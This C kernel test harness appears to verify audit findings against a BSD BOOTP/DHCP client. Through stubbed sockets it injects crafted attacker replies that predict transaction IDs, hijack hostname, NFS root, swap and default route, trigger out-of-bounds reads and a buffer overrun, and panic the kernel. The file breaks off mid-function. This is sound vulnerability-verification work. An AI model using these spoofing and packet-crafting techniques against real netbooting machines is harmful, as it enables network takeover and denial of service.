/* * dfrig12_bootp.c -- DF-3044 / DF-3045 / DF-3046 verification harness. * * VERBATIM INTERPOSITION RIG (kernel-compiled; see build.sh): * This file #includes the UNMODIFIED production source * /usr/src/sys/vfs/nfs/bootp_subr.c (sha256-gated by build.sh against the * audited tree) after renaming -- and only renaming, via cpp -- the * external seam symbols bootp_subr.c calls out to: * socreate sosetopt sobind sosend soreceive soclose (socket layer) * ifioctl rtrequest_global tsleep (net / sleep) * setfs nfs_mountopts md_mount md_lookup_swap bcmp (nfs-boot / libc) * Every function the findings cite (allocifctx, bootpc_compose_query, * bootpc_call, bootpc_fakeup_interface, bootpc_tag, bootpc_tag_helper, * bootpc_received, bootpc_decode_reply, bootpc_init) is the production * code, byte for byte. * * Harness-only knob (outside every cited line): * #define BOOTP_TIMEOUT 12 -- bounds bootpc_call()'s retry loop so * negative tests terminate; the shipped netboot default (retry forever, * bootp_subr.c:906 is #ifdef'd out without it) is irrelevant to the * findings under test. * * Attacker model (crafted-network-input class): * A malicious BOOTP/DHCP server on the client's boot network. * dfx_soreceive() injects its crafted replies. Reply origin is * 6.6.6.6 : 9999 -- a port no DHCP server uses -- to demonstrate that * acceptance never inspects the origin. In "blind" mode the reply XID * is computed purely from source-derived constants (seed 0xFFFF0000, * +0x100/if, +1/compose), never from an observed packet. * * sysctl interface: * sysctl -w kern.dfrig12=N run test N: * 1 = DF-3046 TAG_OVERLOAD length not validated (OOB byte adopted) * 2 = DF-3044 blind predicted-XID spoof from :9999 accepted, * full client config adopted (hostname/root/swap/route) * 20 = control: wrong XID -> ignored * 21 = sniffed XID, origin port 9999 * 22 = sniffed XID, origin port 67 (residual-risk documentation) * 3 = DF-3045 sdl_alen=17: selection accepts, hlen=17, bcmp reads * past chaddr[16], bcopy overruns into call.sname * 4 = DF-3044 predicted-XID ACK with TAG_SUBNETMASK len 3 -> * verbatim panic in bootpc_decode_reply (DoS proof) * 5 = DF-3045 hexncpy call-form canary primitive (contained) * 50 = DF-3045 in-situ sdl_alen=255 through bootpc_call -> fatal * sysctl -n kern.dfrig12_status markers of the last test */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* forward declarations of the interposition stubs (definitions below, * after the production source has been included) */ static int dfx_socreate(int, struct socket **, int, int, struct thread *td); static int dfx_sosetopt(struct socket *so, struct sockopt *sopt); static int dfx_sobind(struct socket *so, struct sockaddr *nam, struct thread *td); static int dfx_sosend(struct socket *so, struct sockaddr *addr, struct uio *uio, struct mbuf *top, struct mbuf *control, int flags, struct thread *td); static int dfx_soreceive(struct socket *so, struct sockaddr **paddr, struct uio *uio, struct mbuf **mp0, struct mbuf **controlp, int *flagsp); static int dfx_soclose(struct socket *so, int fflags); static int dfx_tsleep(void *ident, int flags, const char *wmesg, int timo); static int dfx_ifioctl(struct socket *so, u_long cmd, caddr_t data, struct ucred *cred); static int dfx_rtrequest_global(int req, struct sockaddr *dst, struct sockaddr *gateway, struct sockaddr *netmask, int flags); static int dfx_bcmp(const void *a, const void *b, size_t len); /* dfx_setfs / dfx_nfs_mountopts / dfx_md_mount / dfx_md_lookup_swap are * declared by nfsmountrpc.h, which bootp_subr.c includes with the seam * renames active */ /* ---------------- interposition seams (call-site renames only) ------- */ #define socreate dfx_socreate #define sosetopt dfx_sosetopt #define sobind dfx_sobind #define sosend dfx_sosend #define soreceive dfx_soreceive #define soclose dfx_soclose #define ifioctl dfx_ifioctl #define rtrequest_global dfx_rtrequest_global #define tsleep dfx_tsleep #define bcmp dfx_bcmp #define setfs dfx_setfs #define nfs_mountopts dfx_nfs_mountopts #define md_mount dfx_md_mount #define md_lookup_swap dfx_md_lookup_swap /* harness-only bound on the retry loop (see header comment) */ #define BOOTP_TIMEOUT 12 #include "bootp_subr.c" /* <-- VERBATIM PRODUCTION SOURCE */ /* ---------------- attacker / stub state ------------------------------- */ #define DF_PKTLEN ((int)sizeof(struct bootp_packet)) #define ATT_SRV_BE 0x06060606u /* 6.6.6.6 (network order) */ #define ATT_IP_BE 0x06060642u /* 6.6.6.66 */ #define ATT_GW_BE 0x06060601u /* 6.6.6.1 */ #define DF_MODE_BLIND 1 /* xid from source constants only */ #define DF_MODE_WRONGXID 2 /* control: junk xid */ #define DF_MODE_SNIFF 3 /* xid echoed from broadcast query */ static int df_testno; static struct socket df_so_dummy; static struct bootp_packet df_pkt; /* crafted attacker reply */ static struct bootp_packet df_sent; /* last client query (sniffed) */ static int df_mode = DF_MODE_BLIND; static int df_from_port = 9999; static u_int32_t df_pred_base; static int df_offered; static int df_badmask; static int df_send_count, df_sent_msgtype; static u_int32_t df_sent_xid, df_first_xid; static int df_have_first; static u_char df_cl_mac[256]; static u_char df_cl_hlen; static int df_name_reqs, df_name_fills; static char df_rec_rootpath[128], df_rec_swappath[128]; static char df_rec_host[64], df_rec_rootopts[64], df_rec_swapopts[64]; static u_int32_t df_rec_root_srv, df_rec_swap_srv; static int df_rec_mount_root, df_rec_mount_swap, df_rec_lookup_swap; static u_int32_t df_rec_gw; static int df_rec_route_adds, df_rec_route_flags; static size_t df_bcmp_last_n; static const void *df_bcmp_last_a, *df_bcmp_last_b; /* fake interface plumbing for DF-3045 */ static struct ifnet *df_fake_ifp; static struct ifaddrhead *df_fake_heads; static struct ifaddr_container *df_fake_ifac; static struct ifaddr *df_fake_ifa; static struct sockaddr_dl *df_fake_sdl; static char df_status[1024]; static void df_mark(const char *fmt, ...) { __va_list ap; kprintf("dfrig12: "); __va_start(ap, fmt); kvprintf(fmt, ap); __va_end(ap); kprintf("\n"); strlcat(df_status, " | ", sizeof(df_status)); __va_start(ap, fmt); kvsnprintf(df_status + strlen(df_status), sizeof(df_status) - strlen(df_status), fmt, ap); __va_end(ap); } static void df_reset_script(void) { df_offered = 0; df_send_count = 0; df_sent_msgtype = 0; df_sent_xid = 0; df_first_xid = 0; df_have_first = 0; df_name_reqs = 0; df_name_fills = 0; df_badmask = 0; bzero(df_rec_rootpath, sizeof(df_rec_rootpath)); bzero(df_rec_swappath, sizeof(df_rec_swappath)); bzero(df_rec_host, sizeof(df_rec_host)); bzero(df_rec_rootopts, sizeof(df_rec_rootopts)); bzero(df_rec_swapopts, sizeof(df_rec_swapopts)); df_rec_root_srv = df_rec_swap_srv = 0; df_rec_mount_root = df_rec_mount_swap = df_rec_lookup_swap = 0; df_rec_gw = 0; df_rec_route_adds = 0; df_rec_route_flags = 0; df_bcmp_last_n = 0; df_bcmp_last_a = df_bcmp_last_b = NULL; } /* ---------------- seam stubs ------------------------------------------ */ static int dfx_socreate(int dom, struct socket **aso, int type, int proto, struct thread *td) { *aso = &df_so_dummy; return 0; } static int dfx_sosetopt(struct socket *so, struct sockopt *sopt) { return 0; } static int dfx_sobind(struct socket *so, struct sockaddr *nam, struct thread *td) { return 0; } static int dfx_soclose(struct socket *so, int fflags) { return 0; } static int dfx_tsleep(void *ident, int flags, const char *wmesg, int timo) { return 0; } static int dfx_ifioctl(struct socket *so, u_long cmd, caddr_t data, struct ucred *cred) { return 0; } static int dfx_rtrequest_global(int req, struct sockaddr *dst, struct sockaddr *gateway, struct sockaddr *netmask, int flags) { struct sockaddr_in *gw = (struct sockaddr_in *)gateway; if (req == RTM_ADD && gw != NULL) { df_rec_route_adds++; df_rec_route_flags = flags; df_rec_gw = gw->sin_addr.s_addr; } return 0; } static int dfx_bcmp(const void *a, const void *b, size_t len) { df_bcmp_last_n = len; df_bcmp_last_a = a; df_bcmp_last_b = b; if (len > 16) kprintf("DF3045: reply matcher bcmp len=%d: chaddr member " "is 16 bytes -> reads %d byte(s) past chaddr[15] " "(in-struct, into sname/file/vend)\n", (int)len, (int)len - 16); return memcmp(a, b, len) != 0; } int dfx_setfs(struct sockaddr_in *addr, char *path, char *p) { if (df_rec_rootpath[0] == '\0') strlcpy(df_rec_rootpath, p, sizeof(df_rec_rootpath)); else strlcpy(df_rec_swappath, p, sizeof(df_rec_swappath)); strlcpy(df_rec_host, p, sizeof(df_rec_host)); /* host:path prefix */ addr->sin_len = sizeof(*addr); addr->sin_family = AF_INET; addr->sin_addr.s_addr = ATT_SRV_BE; /* "6.6.6.6" in our strings */ return 1; } void dfx_nfs_mountopts(struct nfs_args *args, char *p) { if (p == NULL) return; if (df_rec_rootopts[0] == '\0') strlcpy(df_rec_rootopts, p, sizeof(df_rec_rootopts)); else strlcpy(df_rec_swapopts, p, sizeof(df_rec_swapopts)); } int dfx_md_mount(struct sockaddr_in *mdsin, char *path, u_char *fhp, int *fhsizep, struct nfs_args *args, struct thread *td) { if (df_rec_mount_root == 0) { df_rec_mount_root = 1; df_rec_root_srv = mdsin->sin_addr.s_addr; } else { df_rec_mount_swap = 1; df_rec_swap_srv = mdsin->sin_addr.s_addr; } if (fhsizep) *fhsizep = 16; if (fhp) memset(fhp, 0xAB, 16); return 0; } int dfx_md_lookup_swap(struct sockaddr_in *mdsin, char *path, u_char *fhp, int *fhsizep, struct nfs_args *args, struct thread *td) { df_rec_lookup_swap = 1; if (fhsizep) *fhsizep = 16; return 0; } /* craft a BOOTREPLY with attacker values */ static void df_craft_reply(u_int32_t xid_raw, u_char hlen, const u_char *mac, int msgtype) { u_char *v; u_int32_t be; int n; bzero(&df_pkt, sizeof(df_pkt)); df_pkt.op = BOOTP_REPLY; df_pkt.htype = 1; df_pkt.hlen = hlen; bcopy(mac, df_pkt.chaddr, hlen); df_pkt.xid = xid_raw; df_pkt.yiaddr.s_addr = ATT_IP_BE; df_pkt.siaddr.s_addr = ATT_SRV_BE; v = df_pkt.vend; *v++ = 99; *v++ = 130; *v++ = 83; *v++ = 99; /* RFC1048 cookie */ *v++ = TAG_DHCP_MSGTYPE; *v++ = 1; *v++ = msgtype; if (msgtype == DHCP_OFFER) { *v++ = TAG_DHCP_SERVERID; *v++ = 4; be = ATT_SRV_BE; bcopy(&be, v, 4); v += 4; } else { /* DHCP_ACK carrying the full attacker config */ if (df_badmask) { *v++ = TAG_SUBNETMASK; *v++ = 3; *v++ = 255; *v++ = 255; *v++ = 0; /* len 3! */ } else { *v++ = TAG_SUBNETMASK; *v++ = 4; be = htonl(0xffff0000u); /* 255.255.0.0 */ bcopy(&be, v, 4); v += 4; } *v++ = TAG_ROUTERS; *v++ = 4; be = ATT_GW_BE; bcopy(&be, v, 4); v += 4; n = strlen("6.6.6.6:/pwn3d"); *v++ = TAG_ROOT; *v++ = n; bcopy("6.6.6.6:/pwn3d", v, n); v += n; n = strlen("pwn3d"); *v++ = TAG_HOSTNAME; *v++ = n; bcopy("pwn3d", v, n); v += n; n = strlen("6.6.6.6:/swpwn"); *v++ = TAG_SWAP; *v++ = n; bcopy("6.6.6.6:/swpwn", v, n); v += n; *v++ = TAG_SWAPSIZE; *v++ = 4; be = htonl(65536); bcopy(&be, v, 4); v += 4; n = strlen("0wn3d!!"); *v++ = TAG_COOKIE; *v++ = n; bcopy("0wn3d!!", v, n); v += n; } *v++ = TAG_END; } static int dfx_sosend(struct socket *so, struct sockaddr *addr, struct uio *uio, struct mbuf *top, struct mbuf *control, int flags, struct thread *td) { int n; u_char *v; n = uio->uio_resid; if (n > DF_PKTLEN) n = DF_PKTLEN; bzero(&df_sent, sizeof(df_sent)); uiomove((caddr_t)&df_sent, n, uio); df_send_count++; df_sent_xid = df_sent.xid; if (!df_have_first) { df_first_xid = df_sent_xid; df_have_first = 1; } df_sent_msgtype = 0; v = df_sent.vend; if (v[0] == 99 && v[1] == 130 && v[2] == 83 && v[3] == 99) { v += 4; while (v < df_sent.vend + sizeof(df_sent.vend) - 1 && *v != TAG_END) { if (*v == TAG_PAD) { v++; continue; } if (*v == TAG_DHCP_MSGTYPE && v[1] == 1) { df_sent_msgtype = v[2]; break; } v += 2 + v[1]; } } kprintf("dfrig12: client broadcasts query #%d xid_raw=%08x " "msgtype=%d (any same-L2 host hears it)\n", df_send_count, df_sent_xid, df_sent_msgtype); return 0; } static int dfx_soreceive(struct socket *so, struct sockaddr **paddr, struct uio *uio, struct mbuf **mp0, struct mbuf **controlp, int *flagsp) { u_int32_t xid = 0; int deliver = 0, type = 0; if (paddr != NULL) df_name_reqs++; /* caller wants the origin ... */ if (df_mode == DF_MODE_WRONGXID) { if (df_offered == 0) { xid = 0x41414141u; type = DHCP_OFFER; deliver = 1; df_offered = 1; } else if (df_offered == 1 && df_sent_msgtype == DHCP_REQUEST) { xid = 0x41414141u; type = DHCP_ACK; deliver = 1; df_offered = 2; } } else if (df_mode == DF_MODE_BLIND) { /* bootpc_compose_query (:1194-1195) bumps xid only when the * ifctx is UNRESOLVED; the OFFERED->REQUEST recompose reuses * the DISCOVER xid (observed on the guest: both ffff0001). * Model: OFFER and ACK share base+1. */ if (df_offered == 0) { xid = htonl(df_pred_base + 1); type = DHCP_OFFER; deliver = 1; df_offered = 1; } else if (df_offered == 1 && df_sent_msgtype == DHCP_REQUEST) { xid = htonl(df_pred_base + 1); type = DHCP_ACK; deliver = 1; df_offered = 2; } } else { /* DF_MODE_SNIFF */ if (df_offered == 0) { xid = df_sent_xid; type = DHCP_OFFER; deliver = 1; df_offered = 1; } else if (df_offered == 1 && df_sent_msgtype == DHCP_REQUEST) { xid = df_sent_xid; type = DHCP_ACK; deliver = 1; df_offered = 2; } } if (!deliver) { /* The real soreceive() blocks in tsleep for up to the 1s * SO_RCVTIMEO; that opaque call is also what makes the * production `while (time_uptime < atimo)` loop in * bootpc_call re-load the (non-volatile, sys/time.h:163) * time_uptime each iteration. Our instant EWOULDBLOCK * return would let GCC hoist that load and spin forever, * so yield through a real external call to keep the loop * live exactly like the blocking socket path does. */ lwkt_yield(); return EWOULDBLOCK; } /* origin: attacker host, non-server port -- never validated by * the shipped acceptance test (bootp_subr.c:838-848) */ if (paddr != NULL) { struct sockaddr_in *fs; fs = kmalloc(sizeof(*fs), M_SONAME, M_WAITOK | M_ZERO); fs->sin_len = sizeof(*fs); fs->sin_family = AF_INET; fs->sin_addr.s_addr = ATT_SRV_BE; fs->sin_port = htons(df_from_port); *paddr = (struct sockaddr *)fs; df_name_fills++; } df_craft_reply(xid, df_cl_hlen, df_cl_mac, type); kprintf("dfrig12: ATTACKER injects %s xid_raw=%08x origin=6.6.6.6:%d " "yiaddr=6.6.6.66 siaddr=6.6.6.6\n", type == DHCP_OFFER ? "OFFER" : "ACK", xid, df_from_port); return uiomove((caddr_t)&df_pkt, DF_PKTLEN, uio); } /* ---------------- attacker prediction model --------------------------- * Replicates bootpc_init()'s interface walk (bootp_subr.c:1552-1573) to * compute, WITHOUT observing any packet, the XID each interface context * will use: allocifctx assigns gctx->xid (seed ~0xFFFF = 0xFFFF0000 at * :1538, +0x100 per interface at :435) and the first compose_query adds * +1 (:1194-1195). Also harvests the client MAC -- knowledge any * same-L2 host has (it is broadcast in every query) or inventory holds. */ static int df_predict(void) { struct ifnet *ifp; struct ifaddr_container *ifac; struct sockaddr_dl *sdl; int n = 0; bzero(df_cl_mac, sizeof(df_cl_mac)); df_cl_hlen = 6; ifnet_lock(); TAILQ_FOREACH(ifp, &ifnetlist, if_link) { if ((ifp->if_flags & (IFF_LOOPBACK | IFF_POINTOPOINT | IFF_BROADCAST)) != IFF_BROADCAST) continue; if (n == 0) { TAILQ_FOREACH(ifac, &ifp->if_addrheads[mycpuid], ifa_link) { struct ifaddr *ifa = ifac->ifa; if (ifa->ifa_addr->sa_family == AF_LINK && (sdl = ((struct sockaddr_dl *) ifa->ifa_addr)) != NULL && sdl->sdl_type == IFT_ETHER) { int l = sdl->sdl_alen; if (l > (int)sizeof(df_cl_mac)) l = sizeof(df_cl_mac); bcopy(LLADDR(sdl), df_cl_mac, l); df_cl_hlen = sdl->sdl_alen; break; } } } n++; } ifnet_unlock(); df_pred_base = 0xFFFF0000u; /* + 0x100 * 0 (first broadcast ifp) */ return n; } /* ---------------- fake IFT_ETHER interface with attacker sdl_alen ----- */ static void df_fake_ifnet(int alen) { int i; df_fake_ifp = kmalloc(sizeof(*df_fake_ifp), M_TEMP, M_WAITOK | M_ZERO); df_fake_heads = kmalloc(sizeof(*df_fake_heads) * ncpus, M_TEMP, M_WAITOK | M_ZERO); df_fake_ifac = kmalloc(sizeof(*df_fake_ifac), M_TEMP, M_WAITOK | M_ZERO); df_fake_ifa = kmalloc(sizeof(*df_fake_ifa), M_TEMP, M_WAITOK | M_ZERO); df_fake_sdl = kmalloc(sizeof(*df_fake_sdl) + 256, M_TEMP, M_WAITOK | M_ZERO); df_fake_sdl->sdl_len = sizeof(*df_fake_sdl); df_fake_sdl->sdl_family = AF_LINK; df_fake_sdl->sdl_index = 1; df_fake_sdl->sdl_type = IFT_ETHER; /* the only selection filter */ df_fake_sdl->sdl_nlen = 0; df_fake_sdl->sdl_alen = alen; /* UNVALIDATED by :1046-1053 */ for (i = 0; i < alen && i < 256; i++) LLADDR(df_fake_sdl)[i] = 0x40 + i; df_fake_ifa->ifa_addr = (struct sockaddr *)df_fake_sdl; df_fake_ifac->ifa = df_fake_ifa; for (i = 0; i < ncpus; i++) TAILQ_FIRST(&df_fake_heads[i]) = df_fake_ifac; df_fake_ifp->if_addrheads = df_fake_heads; } static void df_fake_ifnet_free(void) { if (df_fake_ifp) { kfree(df_fake_ifp, M_TEMP); df_fake_ifp = NULL; } if (df_fake_heads) { kfree(df_fake_heads, M_TEMP); df_fake_heads = NULL; } if (df_fake_ifac) { kfree(df_fake_ifac, M_TEMP); df_fake_ifac = NULL; } if (df_fake_ifa) { kfree(df_fake_ifa, M_TEMP); df_fake_ifa = NULL; } if (df_fake_sdl) { kfree(df_fake_sdl, M_TEMP); df_fake_sdl = NULL; } } /* ---------------- save/restore of globals bootpc_init touches --------- */ static char sv_hostname[MAXHOSTNAMELEN]; static char sv_cookie[128]; static int sv_valid; static struct nfsv3_diskless *sv_nd; static void df_save_global_state(void) { bcopy(hostname, sv_hostname, sizeof(sv_hostname)); bcopy(bootp_cookie, sv_cookie, sizeof(sv_cookie)); sv_valid = nfs_diskless_valid; if (sv_nd == NULL) sv_nd = kmalloc(sizeof(*sv_nd), M_TEMP, M_WAITOK | M_ZERO); bcopy(&nfsv3_diskless, sv_nd, sizeof(*sv_nd)); } static void df_restore_global_state(void) { bcopy(sv_hostname, hostname, sizeof(sv_hostname)); bcopy(sv_cookie, bootp_cookie, sizeof(sv_cookie)); nfs_diskless_valid = sv_valid; bcopy(sv_nd, &nfsv3_diskless, sizeof(nfsv3_diskless)); } /* ---------------- DF-3046: TAG_OVERLOAD length not validated ---------- */ static void df_test1(void) { struct bootpc_tagcontext *tc; u_char *reg; u_char *pkt; int i; /* (a) primitive: region whose LAST option is TAG_OVERLOAD,len=0 */ reg = kmalloc(32, M_TEMP, M_WAITOK | M_ZERO); tc = kmalloc(sizeof(*tc), M_TEMP, M_WAITOK | M_ZERO); reg[0] = 53; reg[1] = 1; reg[2] = 5; /* dhcp msgtype */ reg[3] = 12; reg[4] = 3; reg[5] = 'a'; /* hostname */ reg[6] = 'b'; reg[7] = 'c'; reg[8] = TAG_OVERLOAD; reg[9] = 0; /* len byte IS region end */ for (i = 10; i < 32; i++) reg[i] = 0xA5; /* guard */ bzero(tc, sizeof(*tc)); bootpc_tag_helper(tc, reg, 10, TAG_END); /* VERBATIM */ df_mark("DF3046 T1a: overload=0x%02x (planted byte past ej=0xa5) " "badopt=%d", tc->overload, tc->badopt); /* (b) TAG_OVERLOAD with len != 1 mid-region */ bzero(reg, 32); bzero(tc, sizeof(*tc)); reg[0] = TAG_OVERLOAD; reg[1] = 3; reg[2] = 2; reg[3] = 7; reg[4] = 9; /* RFC 2131: len MUST be 1 */ bootpc_tag_helper(tc, reg, 5, TAG_END); /* VERBATIM */ df_mark("DF3046 T1b: len=3 overload=0x%02x (first value byte taken, " "len ignored)", tc->overload); /* (c) in-packet: zero-length TAG_OVERLOAD with its length byte as * the FINAL byte of a full-size reply (replylen == sizeof(struct * bootp_packet) == 1460; the walk end ej lands exactly on the byte * past the struct) -> overload adopts the first GUARD byte */ pkt = kmalloc(DF_PKTLEN + 32, M_TEMP, M_WAITOK | M_ZERO); bzero(tc, sizeof(*tc)); pkt[offsetof(struct bootp_packet, vend) + 0] = 99; pkt[offsetof(struct bootp_packet, vend) + 1] = 130; pkt[offsetof(struct bootp_packet, vend) + 2] = 83; pkt[offsetof(struct bootp_packet, vend) + 3] = 99; pkt[offsetof(struct bootp_packet, vend) + 4] = 53; pkt[offsetof(struct bootp_packet, vend) + 5] = 1; pkt[offsetof(struct bootp_packet, vend) + 6] = 5; /* struct is 1460 bytes: vend ends at 1458, +2 tail padding; place * [TAG_OVERLOAD,0] at 1458/1459 (last two bytes of the datagram) */ pkt[1458] = TAG_OVERLOAD; pkt[1459] = 0; for (i = 0; i < 32; i++) pkt[DF_PKTLEN + i] = 0x03; /* guard past packet */ bootpc_tag(tc, (struct bootp_packet *)pkt, DF_PKTLEN, TAG_HOSTNAME); /* VERBATIM */ df_mark("DF3046 T1c: full-size vend-end overload=0x%02x (guard " "byte at bp+sizeof read, badopt=%d)", tc->overload, tc->badopt); /* (c2) mid-size replylen: len byte is final byte of vend[] itself * -> reads the struct tail padding (still past the vend member) */ bzero(pkt, DF_PKTLEN + 32); bzero(tc, sizeof(*tc)); pkt[offsetof(struct bootp_packet, vend) + 0] = 99; pkt[offsetof(struct bootp_packet, vend) + 1] = 130; pkt[offsetof(struct bootp_packet, vend) + 2] = 83; pkt[offsetof(struct bootp_packet, vend) + 3] = 99; pkt[offsetof(struct bootp_packet, vend) + 1220] = TAG_OVERLOAD; pkt[offsetof(struct bootp_packet, vend) + 1221] = 0; pkt[1458] = 0xEE; /* tail padding byte */ pkt[1459] = 0xDD; bootpc_tag(tc, (struct bootp_packet *)pkt, 1458, TAG_HOSTNAME); /* VERBATIM */ df_mark("DF3046 T1c2: replylen=1458 vend-end overload=0x%02x " "(tail-padding byte at bp+1458, past vend[1221])", tc->overload); /* (d) sname-walk variant: valid TAG_OVERLOAD=SNAME in vend, then * [52,0] as final two bytes of sname[64] -> *j reads bp->file[0], * the adjacent in-struct field, which we plant */ bzero(pkt, DF_PKTLEN + 32); bzero(tc, sizeof(*tc)); pkt[offsetof(struct bootp_packet, vend) + 0] = 99; pkt[offsetof(struct bootp_packet, vend) + 1] = 130; pkt[offsetof(struct bootp_packet, vend) + 2] = 83; pkt[offsetof(struct bootp_packet, vend) + 3] = 99; pkt[offsetof(struct bootp_packet, vend) + 4] = TAG_OVERLOAD; pkt[offsetof(struct bootp_packet, vend) + 5] = 1; pkt[offsetof(struct bootp_packet, vend) + 6] = OVERLOAD_SNAME; pkt[offsetof(struct bootp_packet, sname) + 62] = TAG_OVERLOAD; pkt[offsetof(struct bootp_packet, sname) + 63] = 0; pkt[offsetof(struct bootp_packet, file) + 0] = 0x5C; bootpc_tag(tc, (struct bootp_packet *)pkt, 300, TAG_HOSTNAME); /* VERBATIM */ df_mark("DF3046 T1d: sname-end overload=0x%02x (== planted " "bp->file[0]=0x5c, adjacent field)", tc->overload); /* attribution repeat with a different planted byte */ bzero(tc, sizeof(*tc)); pkt[offsetof(struct bootp_packet, file) + 0] = 0x77; bootpc_tag(tc, (struct bootp_packet *)pkt, 300, TAG_HOSTNAME); /* VERBATIM */ df_mark("DF3046 T1e: repeat with file[0]=0x77 -> overload=0x%02x", tc->overload); /* (f) file-walk variant: TAG_OVERLOAD=FILE in vend, [52,0] as the * final two bytes of file[128] -> *j reads bp->vend[0], i.e. the * first cookie byte (99) -- always-attacker-influenced via cookie */ bzero(tc, sizeof(*tc)); pkt[offsetof(struct bootp_packet, vend) + 4] = TAG_OVERLOAD; pkt[offsetof(struct bootp_packet, vend) + 5] = 1; pkt[offsetof(struct bootp_packet, vend) + 6] = OVERLOAD_FILE; pkt[offsetof(struct bootp_packet, file) + 126] = TAG_OVERLOAD; pkt[offsetof(struct bootp_packet, file) + 127] = 0; bootpc_tag(tc, (struct bootp_packet *)pkt, 300, TAG_HOSTNAME); /* VERBATIM */ df_mark("DF3046 T1f: file-end overload=0x%02x (== vend[0], the " "cookie byte 99)", tc->overload); kfree(reg, M_TEMP); kfree(tc, M_TEMP); kfree(pkt, M_TEMP); } /* ---------------- DF-3044: blind predicted-XID spoof ------------------ */ static void df_test2(int mode, int port) { int nif; char was_hostname[MAXHOSTNAMELEN]; bcopy(hostname, was_hostname, sizeof(was_hostname)); df_save_global_state(); df_reset_script(); df_mode = mode; df_from_port = port; nif = df_predict(); kprintf("dfrig12: attacker model: %d broadcast ifp(s); predicted " "DISCOVER xid=%08x (seed 0xFFFF0000 + 0 per if + 1 compose); " "MAC known a priori; NO packet ever observed\n", nif, df_pred_base + 1); bootpc_init(); /* VERBATIM end-to-end */ if (strcmp(hostname, "pwn3d") == 0) df_mark("DF3044: hostname ADOPTED 'pwn3d' (attacker " "TAG_HOSTNAME)"); else df_mark("DF3044: hostname NOT adopted (stays '%s')", was_hostname); if (df_rec_mount_root && df_rec_root_srv == ATT_SRV_BE) df_mark("DF3044: root NFS mount ADOPTED from attacker " "6.6.6.6 path=%s", df_rec_rootpath); else df_mark("DF3044: root mount NOT adopted (rec=%d)", df_rec_mount_root); if (df_rec_mount_swap && df_rec_swap_srv == ATT_SRV_BE) df_mark("DF3044: swap NFS mount ADOPTED from 6.6.6.6 " "path=%s", df_rec_swappath); if (df_rec_route_adds && df_rec_gw == ATT_GW_BE) df_mark("DF3044: default route ADOPTED via attacker " "6.6.6.1 flags=0x%x", df_rec_route_flags); else df_mark("DF3044: default route NOT adopted (adds=%d)", df_rec_route_adds); df_mark("DF3044: client 1st xid_raw=%08x vs predicted %08x: %s", df_first_xid, htonl(df_pred_base + 1), df_first_xid == htonl(df_pred_base + 1) ? "MATCH" : "differ"); df_mark("DF3044: soreceive origin requested %d time(s), filled %d " "(bootp_subr.c:807 passes NULL name)", df_name_reqs, df_name_fills); df_restore_global_state(); } /* ---------------- DF-3045: unvalidated sdl_alen ----------------------- */ static void df_test3(int alen) { struct bootpc_globalcontext *gctx; struct bootpc_ifcontext *ifctx; int error, i; u_char *ch; gctx = kmalloc(sizeof(*gctx), M_TEMP, M_WAITOK | M_ZERO); gctx->xid = ~0xFFFF; /* mimic bootp_init:1538 */ gctx->starttime = time_uptime; /* mimic bootpc_init:1539 */ ifctx = allocifctx(gctx); /* VERBATIM: xid=0xFFFF0000 */ df_fake_ifnet(alen); ifctx->ifp = df_fake_ifp; strlcpy(ifctx->ireq.ifr_name, "fak0", sizeof(ifctx->ireq.ifr_name)); bootpc_fakeup_interface(ifctx, gctx, curthread); /* VERBATIM */ if (ifctx->sdl == df_fake_sdl) df_mark("DF3045: selection at :1046-1053 ACCEPTED " "IFT_ETHER sdl_alen=%d (>16, never checked)", alen); else { df_mark("DF3045: selection REJECTED sdl_alen=%d " "(fix effective)", alen); kfree(ifctx, M_TEMP); kfree(gctx, M_TEMP); df_fake_ifnet_free(); return; } bootpc_compose_query(ifctx, gctx, curthread); /* VERBATIM */ df_mark("DF3045: call.hlen=%d (call.hlen=sdl_alen at :1192)", ifctx->call.hlen); ch = ifctx->call.chaddr; kprintf("DF3045: call.chaddr[0..23] ="); for (i = 0; i < 24; i++) kprintf(" %02x", ch[i]); kprintf("\nDF3045: chaddr member is 16 bytes; chaddr[16] (== " "call.sname[0]) = %02x, expected MAC byte 0x%02x -> " "bcopy at :1197 overran chaddr[16] by %d byte(s)\n", ch[16], (u_char)(0x40 + 16), alen - 16); df_mark("DF3045: bcopy overran chaddr[16] by %d byte(s): " "call.sname[0]=%02x == MAC[16]=%02x", alen - 16, ch[16], (u_char)(0x40 + 16)); gctx->interfaces = ifctx; df_reset_script(); df_mode = DF_MODE_BLIND; df_from_port = 9999; bcopy(LLADDR(df_fake_sdl), df_cl_mac, alen); df_cl_hlen = alen; df_pred_base = 0xFFFF0000u; error = bootpc_call(gctx, curthread); /* VERBATIM matcher */ df_mark("DF3045: matcher bcmp len=%d (%d byte(s) past chaddr[15] " "read on BOTH sides), bootpc_call error=%d", (int)df_bcmp_last_n, (int)df_bcmp_last_n - 16, error); kfree(gctx, M_TEMP); kfree(ifctx, M_TEMP); df_fake_ifnet_free(); } /* ---------------- DF-3044 panic manifestation ------------------------- */ static void df_test4(void) { df_save_global_state(); df_reset_script(); df_mode = DF_MODE_BLIND; df_from_port = 9999; df_badmask = 1; df_predict(); kprintf("dfrig12: DF3044 T4: predicted-XID ACK with " "TAG_SUBNETMASK len=3 from 6.6.6.6:9999 -> expect verbatim " "panic 'bootpc: subnet mask len is 3' " "(bootp_subr.c:1390)\n"); bootpc_init(); /* VERBATIM: panics inside */ kprintf("dfrig12: DF3044 T4: returned WITHOUT panic?!\n"); } /* ---------------- DF-3045 hexncpy call-form primitive ------------------ */ static volatile struct { u_char pre[32]; u_char hexstr[64]; u_char post[256]; } df5; static void df5_fill(void) { int i; for (i = 0; i < 32; i++) df5.pre[i] = 0xAA; for (i = 0; i < 64; i++) df5.hexstr[i] = 0; for (i = 0; i < 256; i++) df5.post[i] = 0xBB; } static char * df5_buf(volatile u_char *p) { return (char *)(uintptr_t)p; } static int df5_smashed(int *first, int *last) { int i, n = 0; *first = *last = -1; for (i = 0; i < 256; i++) { if (df5.post[i] != 0xBB) { if (*first < 0) *first = i; *last = i; n++; } } return n; } static void df_test5(void) { struct sockaddr_dl *sdl; int n, first, last; sdl = kmalloc(sizeof(*sdl) + 256, M_TEMP, M_WAITOK | M_ZERO); sdl->sdl_family = AF_LINK; sdl->sdl_type = IFT_ETHER; sdl->sdl_alen = 22; { int i; for (i = 0; i < 256; i++) LLADDR(sdl)[i] = i; } /* phase A: minimum triggering alen (22) -- as-shipped call form */ df5_fill(); sdl->sdl_alen = 22; hexncpy((u_char *)LLADDR(sdl), sdl->sdl_alen, df5_buf(df5.hexstr), 